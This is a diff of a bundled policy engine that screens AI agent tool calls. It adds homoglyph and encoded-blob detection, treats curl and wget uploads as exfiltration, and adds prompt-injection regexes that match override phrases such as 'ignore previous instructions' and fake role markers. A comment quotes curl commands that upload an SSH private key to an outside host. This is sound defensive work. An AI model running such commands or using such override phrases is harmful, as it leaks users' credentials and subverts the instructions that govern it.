FORBIDDEN_PATH_SEGMENTS, BASH_TOOL_NAMES, MCP_EXECUTORS, BUILTIN_FIELDS, ARGV_FIELDS, BARE_WORD, MAX_ARGV_CHARACTERS, syntax2, MAX_ALTERNATIVES, MAX_CALL_DEPTH2, MAX_CALL_WALKS2, POSITIONAL, MAX_DEPTH, MAX_PAYLOAD_DEPTH, unique, clone, SENDING_STDIN, DOWNLOAD_SHORT_VALUE, DOWNLOAD_LONG_VALUE, DOWNLOAD_OUTPUT_FLAGS, DOWNLOAD_DIR_FLAGS, base, quoteGlob, asWord, WRITES, READS, DUP_OUT, HERE_STRING, AND, OR, DEFAULT_OPS, SYSTEM_AUTH_FILES, SYSTEM_AUTH_DIRS, PASSWORD_HASH_FILES, STARTUP_NAMES, SYSTEM_DIRS, SYSTEM_DIRS_EXEMPT, UPLOAD_SYSTEM_DIRS, AGENT_INSTRUCTION_FILES, AGENT_INSTRUCTION_DIRS, LEGACY_SYSTEM_PATH_RE, exempt, RANK, BIP39_ENGLISH, BIP39_PUBLIC_VECTORS, indices, lengths, hash, MAX_MNEMONIC_HASHES, IBAN_LENGTH, B58, B58_INDEX, XPRV_VERSIONS, B62, CRC32_TABLE, GITHUB_TOKEN_RE, B64URL, B64URL_INDEX, CASK_TWO_ZERO_SUFFIX, CASK_FOUR_ZERO_SUFFIX, INVISIBLE_RE, INVISIBLE_ONE, HOMOGLYPHS, HOMOGLYPH_RE, ASSIGNMENT_CONTEXT_RE, DLP_STOPWORDS, REFERENCE_VALUE_RE, IDENTIFIER_VALUE_RE, PATH_VALUE_RE, DOTTED_REFERENCE_RE, CONCATENATION_RE, EMAIL_VALUE_RE, FIXTURE_NAME_RE, DERIVATIVE_NAME_RE, QUERY_CREDENTIAL_VALUE_RE, OTP_SECRET_RE, OTP_DOC_SECRETS, ASSIGNED_SECRET_VALUE_RE, ASSIGNED_SECRET_NAME_RE, NAME_KEYWORD_RE, ARN_CONTEXT_RE, BASIC_VALUE_RE, BASIC_PAIR_RE, OTP_CAPTURE_RE, DLP_PATTERNS, DLP_PATTERNS_GLOBAL, SENSITIVE_PATH_PATTERNS, SENSITIVE_PATH_REGEXES, MAX_DEPTH2, MAX_STRING_BYTES, MAX_JSON_PARSE_BYTES, BATCH_SEPARATOR, syntax3, NPM_INSTALL_VERBS, NPM_EXEC_VERBS, PNPM_INSTALL_VERBS, YARN_INSTALL_VERBS, BUN_INSTALL_VERBS, DLX_VERBS, NON_REGISTRY_RE, NPM_NAME_RE, EXACT_SEMVER_RE, NPM_VALUE_FLAGS, PNPM_VALUE_FLAGS, YARN_VALUE_FLAGS, BUN_VALUE_FLAGS, PIP_VALUE_FLAGS, UV_VALUE_FLAGS, POETRY_VALUE_FLAGS, PIPENV_VALUE_FLAGS, PIPX_VALUE_FLAGS, PY_SPEC_RE, PY_EXACT_RE, EXACT_VERSION_RE, GEM_NAME_RE, GEM_VALUE_FLAGS, BUNDLE_VALUE_FLAGS, CRATE_NAME_RE, CARGO_ADD_VALUE_FLAGS, CARGO_INSTALL_VALUE_FLAGS, GO_VALUE_FLAGS, GO_PATH_RE, NUGET_NAME_RE, DOTNET_ADD_VALUE_FLAGS, DOTNET_TOOL_VALUE_FLAGS, NUGET_VALUE_FLAGS, MAVEN_COORD_RE, COMPOSER_NAME_RE, COMPOSER_VALUE_FLAGS, EDITOR_HEADS, EXTENSION_ID_RE, MANAGER_HEADS, SHELLS, MAX_NESTING, SHELL_VALUE_FLAGS, TUNING_FIELDS, MAP_GOVERNED, KNOB_GOVERNED, CONFIGURABLE_CHECK_IDS, DEFAULT_EGRESS_ALLOWLIST, PRIVATE_HOST_SUFFIXES, SOURCE_COMMANDS, SINK_COMMANDS, OBFUSCATORS, SENSITIVE_PATTERNS, FLAGS_WITH_VALUES, DESTINATION_ARGS, SECRET_VIEW_LIMITS, ARGUMENT_SCAN_LIMITS, RUN_CHAR, runChar, VERDICT_RANK, SQL_DML_KEYWORDS, MAX_DESTINATIONS, MAX_SCAN_CHARS, EMAIL_RE, URL_RE, IBAN_RE, RECIPIENT_KEYS, DESTRUCTIVE_VERB_RE, PII_EMAIL_RE, PII_SSN_RE, PII_PHONE_RE, PII_CC16_RE, PII_CC15_RE, PII_IBAN_RE, REALTIME_PII_PATTERNS, MAX_PII_SCAN_BYTES, MASKED_KINDS, ENTRY_RE, IBAN_TEXT_RE, EMAIL_TEXT_RE, ACCOUNT_KEY_RE, ACCOUNT_VALUE_RE, MAX_MASK_DEPTH, syntax4, EMPTY, CURL_SEND_FLAGS, WGET_SEND_FLAGS, IWR_SEND_FLAGS, WRITE_METHODS, GH_READ, GH_WRITE, GH_HOSTNAME_FLAGS, GH_REPO_VALUE_FLAGS, GH_API_VALUE_FLAGS, GIT_FETCH, PUBLISH, SHELLS2, OWN_HEADS, MAX_DEPTH3, CWD_CHANGERS, TERMINAL_ESCAPE_RE, LOOP_MAX_RECORDS, CANARY_MIN_LENGTH, MAX_TEXT, MAX_DEPTH4, MAX_JSON_PARSE, URL_DEPTH, B64_DEPTH, MIN_SEGMENT, SEPARATORS, stripSeparators, looksText, CANARY_DECODERS, VIEWS, LONG_OUTPUT_THRESHOLD_BYTES;
+var import_picomatch, import_safe_regex2, import_picomatch2, import_mvdan_sh, import_safe_regex22, import_mvdan_sh2, import_safe_regex23, import_crypto2, import_crypto3, import_mvdan_sh3, import_crypto4, import_mvdan_sh4, import_crypto5, aws_default, bash_safe_default, docker_default, filesystem_default, github_default, k8s_default, mongodb_default, postgres_default, project_jail_default, redis_default, BUILTIN_SHIELDS, SSRF_MAX_HOST, METADATA_ADDRESSES, STRICT_TIERS, METADATA_HOSTNAMES, v4Octets, TIER_REASON, CHECK_TEXT, VERDICTS, CHECK_VERDICT_RANK, ALL, BUILTIN_DANGEROUS_WORDS, PRODUCT_CHECKS, SHIELD_RULE_NAME, SHIELD_RULES_FOLDED_INTO_PRODUCT, CHECKS, CHECK_BY_ID, LEGACY_TO_ID, PROJECT_JAIL_BLOCK_READ, OVERRIDE_PREFIX, LABEL_WRAPPERS, LEGACY_READERS, INVISIBLE_RE, INVISIBLE_ONE, HOMOGLYPHS, HOMOGLYPH_RE, MAX_BLOBS, MIN_DECODED, BASE64_RUN_RE, HEX_RUN_RE, HEX_ESCAPE_RUN_RE, syntax, sharedParser, MESSAGE_FLAGS, SHELL_INTERPRETERS, DOWNLOAD_CMDS, NORMALIZE_CACHE_MAX, normalizeCache, AST_CACHE_MAX, astCache, PARSE_FAIL, MAX_READING_PAYLOADS, defaultExpansionOps, VARIABLE_READERS, FS_READ_TOOLS, GREP_SHAPE, PATTERN_VERBS, PATTERN_VERB_NAMES, GREP_FILE_OPERANDS, READER_VALUE_LETTERS, FILE_OPERAND_FLAGS, SCP_VALUE_FLAGS, CURL_SOURCE_FLAGS, CURL_VALUE_LETTERS, WGET_VALUE_LETTERS, TAR_VALUE_LETTERS, ZIP_VALUE_LETTERS, RSYNC_VALUE_LETTERS, RSYNC_SKIP, CP_VALUE_LETTERS, INSTALL_VALUE_LETTERS, COPY_VERBS, TAR_MODE_WORD, COPY_VERB_HEADS, FS_OP_PRESCREEN_RE, HOME_CACHE_ALLOWLIST, SENSITIVE_PATH_RULES, AST_FS_REGEX_RULES, SQL_DB_CLIS, SQL_DDL_RE, CHMOD_OPEN_PERM_TOKENS, COMMAND_WRAPPERS, INLINE_INTERPRETER, RUNNER_WRAPPERS, _redirStdinOps, _listOps, WRAPPER_TAKES_TARGET, FIND_EXEC_FLAGS, FS_MUTATION_TOOLS, INTERP_LEADING_TARGET, MAX_PAYLOAD_NESTING, payloadNesting, SCRIPT_RUNNERS, SCRIPT_RUNNER_VALUE_FLAGS, MAX_SCRIPT_OPERANDS, NET_BINARIES, VALUE_FLAGS, HOME_VARIABLES, assignmentTable, currentStmtOffset, PAYLOAD_BUDGET, payloadBudget, seenPayloads, UNANALYSABLE_NESTING, ASSIGNMENT_HEADS, AND_OP, OR_OP, AND_OR_OPS, MAX_CALL_DEPTH, MAX_CALL_WALKS, callDepth, callWalks, FS_OP_CACHE_MAX, fsOpCache, stripDotSlash, REDIR_TRUNCATE_OPS, REDIR_FILE_IN_OPS, REDIR_HEREDOC_OPS, FIND_OPTIONS, COPY_RULE_OF, isReaderWord, positionalAfter, NONE, UNKNOWN, MAX_REGEX_LENGTH, REGEX_CACHE_MAX, regexCache, FORBIDDEN_PATH_SEGMENTS, BASH_TOOL_NAMES, MCP_EXECUTORS, BUILTIN_FIELDS, ARGV_FIELDS, BARE_WORD, MAX_ARGV_CHARACTERS, syntax2, MAX_ALTERNATIVES, MAX_CALL_DEPTH2, MAX_CALL_WALKS2, POSITIONAL, MAX_DEPTH, MAX_PAYLOAD_DEPTH, unique, clone, SENDING_STDIN, DOWNLOAD_SHORT_VALUE, DOWNLOAD_LONG_VALUE, DOWNLOAD_OUTPUT_FLAGS, DOWNLOAD_DIR_FLAGS, base, quoteGlob, asWord, WRITES, READS, DUP_OUT, HERE_STRING, AND, OR, DEFAULT_OPS, SYSTEM_AUTH_FILES, SYSTEM_AUTH_DIRS, PASSWORD_HASH_FILES, STARTUP_NAMES, SYSTEM_DIRS, SYSTEM_DIRS_EXEMPT, UPLOAD_SYSTEM_DIRS, AGENT_INSTRUCTION_FILES, AGENT_INSTRUCTION_DIRS, LEGACY_SYSTEM_PATH_RE, exempt, RANK, BIP39_ENGLISH, BIP39_PUBLIC_VECTORS, indices, lengths, hash, MAX_MNEMONIC_HASHES, SECRET_VIEW_LIMITS, IBAN_LENGTH, IBAN_BBAN_SHAPE, B58, B58_INDEX, XPRV_VERSIONS, B62, CRC32_TABLE, GITHUB_TOKEN_RE, B64URL, B64URL_INDEX, CASK_TWO_ZERO_SUFFIX, CASK_FOUR_ZERO_SUFFIX, CF_ODD, CF_EVEN, SPANISH_LETTERS, HETU_CHARS, MAX, UNTRUSTED_TOOLS, SIGNALS, MENTION_QUOTE_RE, MENTION_WORD_RE, ASSIGNMENT_CONTEXT_RE, DLP_STOPWORDS, REFERENCE_VALUE_RE, IDENTIFIER_VALUE_RE, PATH_VALUE_RE, DOTTED_REFERENCE_RE, CONCATENATION_RE, EMAIL_VALUE_RE, FIXTURE_NAME_RE, DERIVATIVE_NAME_RE, QUERY_CREDENTIAL_VALUE_RE, OTP_SECRET_RE, OTP_DOC_SECRETS, ASSIGNED_SECRET_VALUE_RE, ASSIGNED_SECRET_NAME_RE, NAME_KEYWORD_RE, ARN_CONTEXT_RE, CIPHER_KEY_NAME_RE, CIPHER_NAME_PARTS, CIPHER_KEY_VALUE_RE, LARAVEL_KEY_VALUE_RE, SQL_PASSWORD_VALUE_RE, GRAFANA_KEY_VALUE_RE, BASIC_VALUE_RE, BASIC_PAIR_RE, OTP_CAPTURE_RE, DB_URL_PASSWORD_RE, DLP_PATTERNS, DLP_PATTERNS_GLOBAL, SENSITIVE_PATH_PATTERNS, SENSITIVE_PATH_REGEXES, MAX_DEPTH2, MAX_STRING_BYTES, MAX_JSON_PARSE_BYTES, BATCH_SEPARATOR, syntax3, NPM_INSTALL_VERBS, NPM_EXEC_VERBS, PNPM_INSTALL_VERBS, YARN_INSTALL_VERBS, BUN_INSTALL_VERBS, DLX_VERBS, NON_REGISTRY_RE, NPM_NAME_RE, EXACT_SEMVER_RE, NPM_VALUE_FLAGS, PNPM_VALUE_FLAGS, YARN_VALUE_FLAGS, BUN_VALUE_FLAGS, PIP_VALUE_FLAGS, UV_VALUE_FLAGS, POETRY_VALUE_FLAGS, PIPENV_VALUE_FLAGS, PIPX_VALUE_FLAGS, PY_SPEC_RE, PY_EXACT_RE, EXACT_VERSION_RE, GEM_NAME_RE, GEM_VALUE_FLAGS, BUNDLE_VALUE_FLAGS, CRATE_NAME_RE, CARGO_ADD_VALUE_FLAGS, CARGO_INSTALL_VALUE_FLAGS, GO_VALUE_FLAGS, GO_PATH_RE, NUGET_NAME_RE, DOTNET_ADD_VALUE_FLAGS, DOTNET_TOOL_VALUE_FLAGS, NUGET_VALUE_FLAGS, MAVEN_COORD_RE, COMPOSER_NAME_RE, COMPOSER_VALUE_FLAGS, EDITOR_HEADS, EXTENSION_ID_RE, MANAGER_HEADS, SHELLS, MAX_NESTING, SHELL_VALUE_FLAGS, TUNING_FIELDS, MAP_GOVERNED, KNOB_GOVERNED, CONFIGURABLE_CHECK_IDS, DEFAULT_EGRESS_ALLOWLIST, PRIVATE_HOST_SUFFIXES, SOURCE_COMMANDS, SINK_COMMANDS, OBFUSCATORS, SENSITIVE_PATTERNS, FLAGS_WITH_VALUES, DESTINATION_ARGS, MCP_DESTINATION_KEYS, ARGUMENT_SCAN_LIMITS, RUN_CHAR, runChar, VERDICT_RANK, SQL_DML_KEYWORDS, MAX_DESTINATIONS, MAX_SCAN_CHARS, EMAIL_RE, URL_RE, IBAN_RE, RECIPIENT_KEYS, DESTRUCTIVE_VERB_RE, PII_EMAIL_RE, PII_SSN_RE, PII_PHONE_RE, PII_CC16_RE, PII_CC15_RE, PII_CC14_RE, PII_CC13_RE, PII_CC19_RE, CARD_PATTERNS, PII_ROUTING_RE, ROUTING_LABEL_RE, ROUTING_LABEL_WINDOW, NATIONAL_ID_SHAPES, NATIONAL_ID_LABEL_RE, NATIONAL_ID_LABEL_WINDOW, NATIONAL_ID_GUARD_RE, PII_IBAN_RE, REALTIME_PII_PATTERNS, MAX_PII_SCAN_BYTES, IBAN_DESTINATION_KEYS, WHOLE_IBAN_RE, JSON_ESCAPE_RE, JSON_ESCAPES, MASKED_KINDS, ENTRY_RE, IBAN_TEXT_RE, EMAIL_TEXT_RE, ACCOUNT_KEY_RE, ACCOUNT_VALUE_RE, MAX_MASK_DEPTH, syntax4, EMPTY, CURL_SEND_FLAGS, WGET_SEND_FLAGS, IWR_SEND_FLAGS, WRITE_METHODS, GH_READ, GH_WRITE, GH_HOSTNAME_FLAGS, GH_REPO_VALUE_FLAGS, GH_API_VALUE_FLAGS, GIT_FETCH, PUBLISH, SHELLS2, OWN_HEADS, MAX_DEPTH3, CWD_CHANGERS, TERMINAL_ESCAPE_RE, LOOP_MAX_RECORDS, CANARY_MIN_LENGTH, MAX_TEXT, MAX_DEPTH4, MAX_JSON_PARSE, URL_DEPTH, B64_DEPTH, MIN_SEGMENT, SEPARATORS, stripSeparators, looksText, CANARY_DECODERS, VIEWS, LONG_OUTPUT_THRESHOLD_BYTES;
 var init_dist = __esm({
   "packages/policy-engine/dist/index.mjs"() {
     "use strict";
@@ -7961,6 +8545,80 @@ var init_dist = __esm({
         return s.untrustedContent.afterExposure === "log-only" ? "log" : "review";
       }
     };
+    INVISIBLE_RE = /[­͏؜᠎​-‏‪-‮⁠-⁤-︀-️]|[\u{E0000}-\u{E007F}]/gu;
+    INVISIBLE_ONE = new RegExp(`^(?:${INVISIBLE_RE.source.split("|")[0]})$`, "u");
+    HOMOGLYPHS = {
+      // Cyrillic lowercase
+      \u0430: "a",
+      \u0435: "e",
+      \u043E: "o",
+      \u0440: "p",
+      \u0441: "c",
+      \u0443: "y",
+      \u0445: "x",
+      \u0456: "i",
+      \u0458: "j",
+      \u0455: "s",
+      "\u0501": "d",
+      "\u051B": "q",
+      "\u051D": "w",
+      \u04BB: "h",
+      \u0261: "g",
+      \u0451: "e",
+      "\u04CF": "l",
+      "\u217C": "l",
+      // Cyrillic uppercase
+      \u0410: "A",
+      \u0412: "B",
+      \u0415: "E",
+      \u041A: "K",
+      \u041C: "M",
+      \u041D: "H",
+      \u041E: "O",
+      \u0420: "P",
+      \u0421: "C",
+      \u0422: "T",
+      \u0425: "X",
+      \u0405: "S",
+      \u0406: "I",
+      \u0408: "J",
+      \u04AE: "Y",
+      "\u051A": "Q",
+      "\u051C": "W",
+      // Greek lowercase
+      \u03B1: "a",
+      \u03BF: "o",
+      \u03BD: "v",
+      \u03B5: "e",
+      \u03B9: "i",
+      \u03BA: "k",
+      \u03C1: "p",
+      \u03C4: "t",
+      \u03C5: "u",
+      \u03C7: "x",
+      \u03B3: "y",
+      // Greek uppercase
+      \u0391: "A",
+      \u0392: "B",
+      \u0395: "E",
+      \u0396: "Z",
+      \u0397: "H",
+      \u0399: "I",
+      \u039A: "K",
+      \u039C: "M",
+      \u039D: "N",
+      \u039F: "O",
+      \u03A1: "P",
+      \u03A4: "T",
+      \u03A5: "Y",
+      \u03A7: "X"
+    };
+    HOMOGLYPH_RE = new RegExp(`[${Object.keys(HOMOGLYPHS).join("")}]`, "g");
+    MAX_BLOBS = 32;
+    MIN_DECODED = 16;
+    BASE64_RUN_RE = /[A-Za-z0-9+/]{32,}={0,2}|[A-Za-z0-9_-]{32,}/g;
+    HEX_RUN_RE = /\b(?:[0-9a-fA-F]{2}){24,}\b/g;
+    HEX_ESCAPE_RUN_RE = /(?:\\x[0-9a-fA-F]{2}){16,}/g;
     ({ syntax } = import_mvdan_sh.default);
     sharedParser = syntax.NewParser();
     MESSAGE_FLAGS = /* @__PURE__ */ new Set([
@@ -7998,6 +8656,7 @@ var init_dist = __esm({
     AST_CACHE_MAX = 5e3;
     astCache = /* @__PURE__ */ new Map();
     PARSE_FAIL = /* @__PURE__ */ Symbol("parse-fail");
+    MAX_READING_PAYLOADS = 8;
     defaultExpansionOps = null;
     VARIABLE_READERS = /* @__PURE__ */ new Set([
       "read",
@@ -8404,6 +9063,20 @@ var init_dist = __esm({
       sort: /* @__PURE__ */ new Set(["--files0-from"])
     };
     SCP_VALUE_FLAGS = ["i", "F", "o", "c", "S", "P", "J", "D", "W", "l"];
+    CURL_SOURCE_FLAGS = [
+      "T",
+      "--upload-file",
+      "d",
+      "--data",
+      "--data-binary",
+      "--data-ascii",
+      "--data-urlencode",
+      "--json",
+      "F",
+      "--form"
+    ];
+    CURL_VALUE_LETTERS = "dFTHouXAebcKEmwxUrQtCPDyYz".split("");
+    WGET_VALUE_LETTERS = "OoaiBtTwQPeUARDIl".split("");
     TAR_VALUE_LETTERS = ["b", "C", "f", "F", "g", "H", "I", "K", "L", "N", "T", "V", "X"];
     ZIP_VALUE_LETTERS = ["b", "n", "P", "t", "s", "O", "x", "i"];
     RSYNC_VALUE_LETTERS = ["e", "f", "T", "B", "M"];
@@ -8460,7 +9133,25 @@ var init_dist = __esm({
       "aws s3 mv": { source: "allButLast" },
       "aws s3 sync": { source: "allButLast" },
       "gcloud storage cp": { source: "allButLast" },
-      "az storage blob upload": { source: "flagOperand", sourceFlags: ["f", "--file"] }
+      "az storage blob upload": { source: "flagOperand", sourceFlags: ["f", "--file"] },
+      // An HTTP upload is a copy out of the jail with the network as its
+      // destination (fw#372 A2). Measured at the real gate before this row:
+      // `curl -T ~/.ssh/id_rsa https://x/` and `curl -d @~/.ssh/id_rsa https://x/`
+      // were ALLOWED in the shipped default (egress off, no taint on the file),
+      // while `cp ~/.ssh/id_rsa /tmp/k` reviewed. The same slot model as the other
+      // flagOperand verb; the read tier never saw curl because it prints nothing.
+      // `--key`/`--cert` USE a file for TLS, like `ssh -i`, and stay quiet.
+      curl: {
+        source: "flagOperand",
+        sourceFlags: CURL_SOURCE_FLAGS,
+        sourceOperand: curlSourceOperand,
+        valueLetters: CURL_VALUE_LETTERS
+      },
+      wget: {
+        source: "flagOperand",
+        sourceFlags: ["--post-file", "--body-file"],
+        valueLetters: WGET_VALUE_LETTERS
+      }
     };
     TAR_MODE_WORD = /^[a-zA-Z]+$/;
     COPY_VERB_HEADS = new Set(Object.keys(COPY_VERBS).map((k) => k.split(" ")[0]));
@@ -8672,6 +9363,11 @@ var init_dist = __esm({
       "rmdir"
     ]);
     INTERP_LEADING_TARGET = /* @__PURE__ */ new Set(["su"]);
+    MAX_PAYLOAD_NESTING = 8;
+    payloadNesting = 0;
+    SCRIPT_RUNNERS = /* @__PURE__ */ new Set(["bash", "sh", "zsh", "dash", "ksh", "source", "."]);
+    SCRIPT_RUNNER_VALUE_FLAGS = /* @__PURE__ */ new Set(["-o", "+o", "-O", "+O", "--rcfile", "--init-file"]);
+    MAX_SCRIPT_OPERANDS = 8;
     NET_BINARIES = /* @__PURE__ */ new Set([
       // PowerShell downloaders (2026-09-22). `Invoke-WebRequest -InFile creds`
       // is the same exfil as `curl -d @creds` and was invisible to isNetworkTool.
@@ -11104,6 +11800,21 @@ zoo`.split("\n");
     lengths = [24, 21, 18, 15, 12];
     hash = (value) => (0, import_crypto2.createHash)("sha256").update(value).digest();
     MAX_MNEMONIC_HASHES = 25e3;
+    SECRET_VIEW_LIMITS = {
+      /** A decoded text that itself decodes is followed this many layers; a deeper layer is reviewed. */
+      maxDepth: 4,
+      /** Nested views per parent view, and nested text per call; past either the call is reviewed. */
+      maxNestedViewsPerLeaf: 64,
+      maxNestedBytes: 1048576,
+      /** Joined hostname-label text per call; past it the call is reviewed. */
+      maxJoinedLabelBytes: 1048576,
+      /** Decoded fragments are matched in batches of about this many characters. */
+      batchCharacters: 65536,
+      /** Only a valid DNS name has its labels joined. */
+      maxHostLength: 253,
+      maxLabelLength: 63,
+      maxLabels: 127
+    };
     IBAN_LENGTH = {
       AD: 24,
       AE: 23,
@@ -11196,6 +11907,29 @@ zoo`.split("\n");
       XK: 20,
       YE: 30
     };
+    IBAN_BBAN_SHAPE = {
+      AT: /^\d{16}$/,
+      BE: /^\d{12}$/,
+      CH: /^\d{5}[A-Z0-9]{12}$/,
+      CZ: /^\d{20}$/,
+      DE: /^\d{18}$/,
+      DK: /^\d{14}$/,
+      ES: /^\d{20}$/,
+      FI: /^\d{14}$/,
+      FR: /^\d{10}[A-Z0-9]{11}\d{2}$/,
+      GB: /^[A-Z]{4}\d{14}$/,
+      HU: /^\d{24}$/,
+      IE: /^[A-Z]{4}\d{14}$/,
+      IL: /^\d{19}$/,
+      IT: /^[A-Z]\d{10}[A-Z0-9]{12}$/,
+      LU: /^\d{3}[A-Z0-9]{13}$/,
+      NL: /^[A-Z]{4}\d{10}$/,
+      NO: /^\d{11}$/,
+      PL: /^\d{24}$/,
+      PT: /^\d{21}$/,
+      RO: /^[A-Z]{4}[A-Z0-9]{16}$/,
+      SE: /^\d{20}$/
+    };
     B58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
     B58_INDEX = Object.fromEntries(
       [...B58].map((c, i) => [c, i])
@@ -11210,75 +11944,107 @@ zoo`.split("\n");
     );
     CASK_TWO_ZERO_SUFFIX = /* @__PURE__ */ new Set([..."AEIMQUYcgkosw048"]);
     CASK_FOUR_ZERO_SUFFIX = /* @__PURE__ */ new Set([..."AQgw"]);
-    INVISIBLE_RE = /[­͏؜᠎​-‏‪-‮⁠-⁤-︀-️]|[\u{E0000}-\u{E007F}]/gu;
-    INVISIBLE_ONE = new RegExp(`^(?:${INVISIBLE_RE.source.split("|")[0]})$`, "u");
-    HOMOGLYPHS = {
-      // Cyrillic lowercase
-      \u0430: "a",
-      \u0435: "e",
-      \u043E: "o",
-      \u0440: "p",
-      \u0441: "c",
-      \u0443: "y",
-      \u0445: "x",
-      \u0456: "i",
-      \u0458: "j",
-      \u0455: "s",
-      "\u0501": "d",
-      "\u051B": "q",
-      "\u051D": "w",
-      \u04BB: "h",
-      \u0261: "g",
-      \u0451: "e",
-      "\u04CF": "l",
-      "\u217C": "l",
-      // Cyrillic uppercase
-      \u0410: "A",
-      \u0412: "B",
-      \u0415: "E",
-      \u041A: "K",
-      \u041C: "M",
-      \u041D: "H",
-      \u041E: "O",
-      \u0420: "P",
-      \u0421: "C",
-      \u0422: "T",
-      \u0425: "X",
-      \u0405: "S",
-      \u0406: "I",
-      \u0408: "J",
-      \u04AE: "Y",
-      "\u051A": "Q",
-      "\u051C": "W",
-      // Greek lowercase
-      \u03B1: "a",
-      \u03BF: "o",
-      \u03BD: "v",
-      \u03B5: "e",
-      \u03B9: "i",
-      \u03BA: "k",
-      \u03C1: "p",
-      \u03C4: "t",
-      \u03C5: "u",
-      \u03C7: "x",
-      \u03B3: "y",
-      // Greek uppercase
-      \u0391: "A",
-      \u0392: "B",
-      \u0395: "E",
-      \u0396: "Z",
-      \u0397: "H",
-      \u0399: "I",
-      \u039A: "K",
-      \u039C: "M",
-      \u039D: "N",
-      \u039F: "O",
-      \u03A1: "P",
-      \u03A4: "T",
-      \u03A5: "Y",
-      \u03A7: "X"
-    };
-    HOMOGLYPH_RE = new RegExp(`[${Object.keys(HOMOGLYPHS).join("")}]`, "g");
+    CF_ODD = {};
+    CF_EVEN = {};
+    {
+      const alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+      const odd = [
+        1,
+        0,
+        5,
+        7,
+        9,
+        13,
+        15,
+        17,
+        19,
+        21,
+        1,
+        0,
+        5,
+        7,
+        9,
+        13,
+        15,
+        17,
+        19,
+        21,
+        2,
+        4,
+        18,
+        20,
+        11,
+        3,
+        6,
+        8,
+        12,
+        14,
+        16,
+        10,
+        22,
+        25,
+        24,
+        23
+      ];
+      for (let i = 0; i < alphabet.length; i++) {
+        const c = alphabet[i];
+        CF_ODD[c] = odd[i];
+        CF_EVEN[c] = i < 10 ? i : i - 10;
+      }
+    }
+    SPANISH_LETTERS = "TRWAGMYFPDXBNJZSQVHLCKE";
+    HETU_CHARS = "0123456789ABCDEFHJKLMNPRSTUVWXY";
+    MAX = 1e5;
+    UNTRUSTED_TOOLS = /\b(web_?fetch|web_?search|fetch|curl|wget|browser|http_get|read_url|open_url)\b/i;
+    SIGNALS = [
+      {
+        name: "override-instructions",
+        any: [
+          // "ignore/disregard/forget ... (previous|all|the|your) ... instructions/prompt/rules/commands/tasks"
+          /\b(ignore|disregard|forget|discard)\b[^.!?\n]{0,40}\b(previous|prior|earlier|above|all|the|your)\b[^.!?\n]{0,24}\b(instruction|instructions|prompt|context|rules?|directives?|commands?|tasks?|guidelines?)\b/i,
+          /\byou are now\b/i,
+          /\bnew (instructions?|directives?)\s*:/i,
+          /\bnew directive\b/i,
+          /\boverride\s*:/i,
+          /\bsystem note\s*:/i,
+          /\bdeveloper mode\b/i,
+          /\bignore (the )?system prompt\b/i,
+          /\b(reveal|print|show|output|repeat|display|dump)\b[^.!?\n]{0,30}\b(system prompt|hidden instructions|initial instructions|your instructions)\b/i,
+          /\b(do not|don'?t|never)\b[^.!?\n]{0,20}\btell the (user|human)\b/i,
+          /\boverride (your|the)\b[^.!?\n]{0,20}\b(instruction|instructions|programming|rules?|guardrails?)\b/i
+        ]
+      },
+      {
+        name: "fake-role-marker",
+        any: [
+          /^\s*(system|assistant)\s*:/im,
+          // a line impersonating a conversation turn
+          /<\/?system>/i,
+          /\[\s*system\s*\]/i,
+          /\[\/?INST\]/i,
+          /<\|im_(start|end)\|>/i
+        ]
+      },
+      {
+        name: "action-to-destination",
+        any: [
+          // exfil verb + to/at/with/into + a url / email / domain. "email" after a
+          // possessive ("your email", "my email") is the noun, not the verb (X4).
+          // "log in to", "report issues at", "share feedback with" and "submit
+          // your form at" are how ordinary pages talk, so log, report, share and
+          // submit count only in the past tense ("logged to", "shared with").
+          // A dot inside a word (a host, a file name) does not end the window; a
+          // dot that ends a sentence does.
+          /\b(send|sent|post(?:ed)?|upload(?:ed)?|exfiltrate[sd]?|forward(?:ed|s)?|transmit(?:ted|s)?|shared|submitted|logged|reported|curl|wget|leak(?:ed|s)?|(?<!\b(?:your|my|the|an|a|this|that|our|their|his|her)\s+)email(?:ed|s)?)\b(?:[^.\n!?]|\.(?=\S)){0,40}\b(to|at|with|into)\b(?:[^.\n!?]|\.(?=\S)){0,24}(https?:\/\/|[\w.-]+@[\w.-]+\.[a-z]{2,}|[\w-]+\.[a-z]{2,})/i,
+          /\brun (the )?following (command|code|script)\b/i,
+          /\bexecute (this|the following)\b/i,
+          /\bdecode\b[^.!?\n]{0,40}\b(and|then)\b[^.!?\n]{0,12}\b(execute|run|eval)\b/i,
+          /\bcall\b[^.!?\n]{0,30}\b(tool|function|endpoint)\b[^.!?\n]{0,30}\b(url|link|address)\b/i
+        ]
+      }
+    ];
+    MENTION_QUOTE_RE = /["'`“‘(]\s*$/;
+    MENTION_WORD_RE = /\b(?:say|says|saying|said|such as|like|pattern|patterns|phrase|phrases|string|strings|text|e\.g\.|example|examples|contains?|containing|detects?|filters?|flags?|blocks?|matches|keywords?|wording|marker|markers)\b/i;
     ASSIGNMENT_CONTEXT_RE = /\b(?:password|passwd|secret|token|api[_-]?key|auth(?:_key|_token)?|credential|private[_-]?key|access[_-]?key|client[_-]?secret)\s*[=:]\s*/i;
     DLP_STOPWORDS = [
       "example",
@@ -11312,18 +12078,42 @@ zoo`.split("\n");
     DOTTED_REFERENCE_RE = /^[A-Za-z_$][\w$]*(?:\.[A-Za-z_$][\w$]*)+$/;
     CONCATENATION_RE = /^\+[A-Za-z_$][\w$]*\./;
     EMAIL_VALUE_RE = /^[^@\s]+@[^@\s]+\.[A-Za-z]{2,}$/;
-    FIXTURE_NAME_RE = /(?:fake|dummy|example|sample|mock|stub|placeholder|test)/i;
+    FIXTURE_NAME_RE = /(?:fake|dummy|example|sample|mock|stub|placeholder|test)|^public/i;
     DERIVATIVE_NAME_RE = /(?:hash|digest|fingerprint|thumbprint|checksum|id|type|name|url|uri|path|file|len|length|count|size|ttl|expires?|expiry|age|date|time|format|field|header|param)$/i;
     QUERY_CREDENTIAL_VALUE_RE = /=([A-Za-z0-9%+/_.~-]{8,512}={0,2})$/;
     OTP_SECRET_RE = /^[A-Z2-7]{16,}=*$/i;
     OTP_DOC_SECRETS = /* @__PURE__ */ new Set(["JBSWY3DPEHPK3PXP", "GEZDGNBVGY3TQOJQ"]);
-    ASSIGNED_SECRET_VALUE_RE = /(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?([A-Za-z0-9+/_.!@#$%^*~-]{12,512}={0,2})$/;
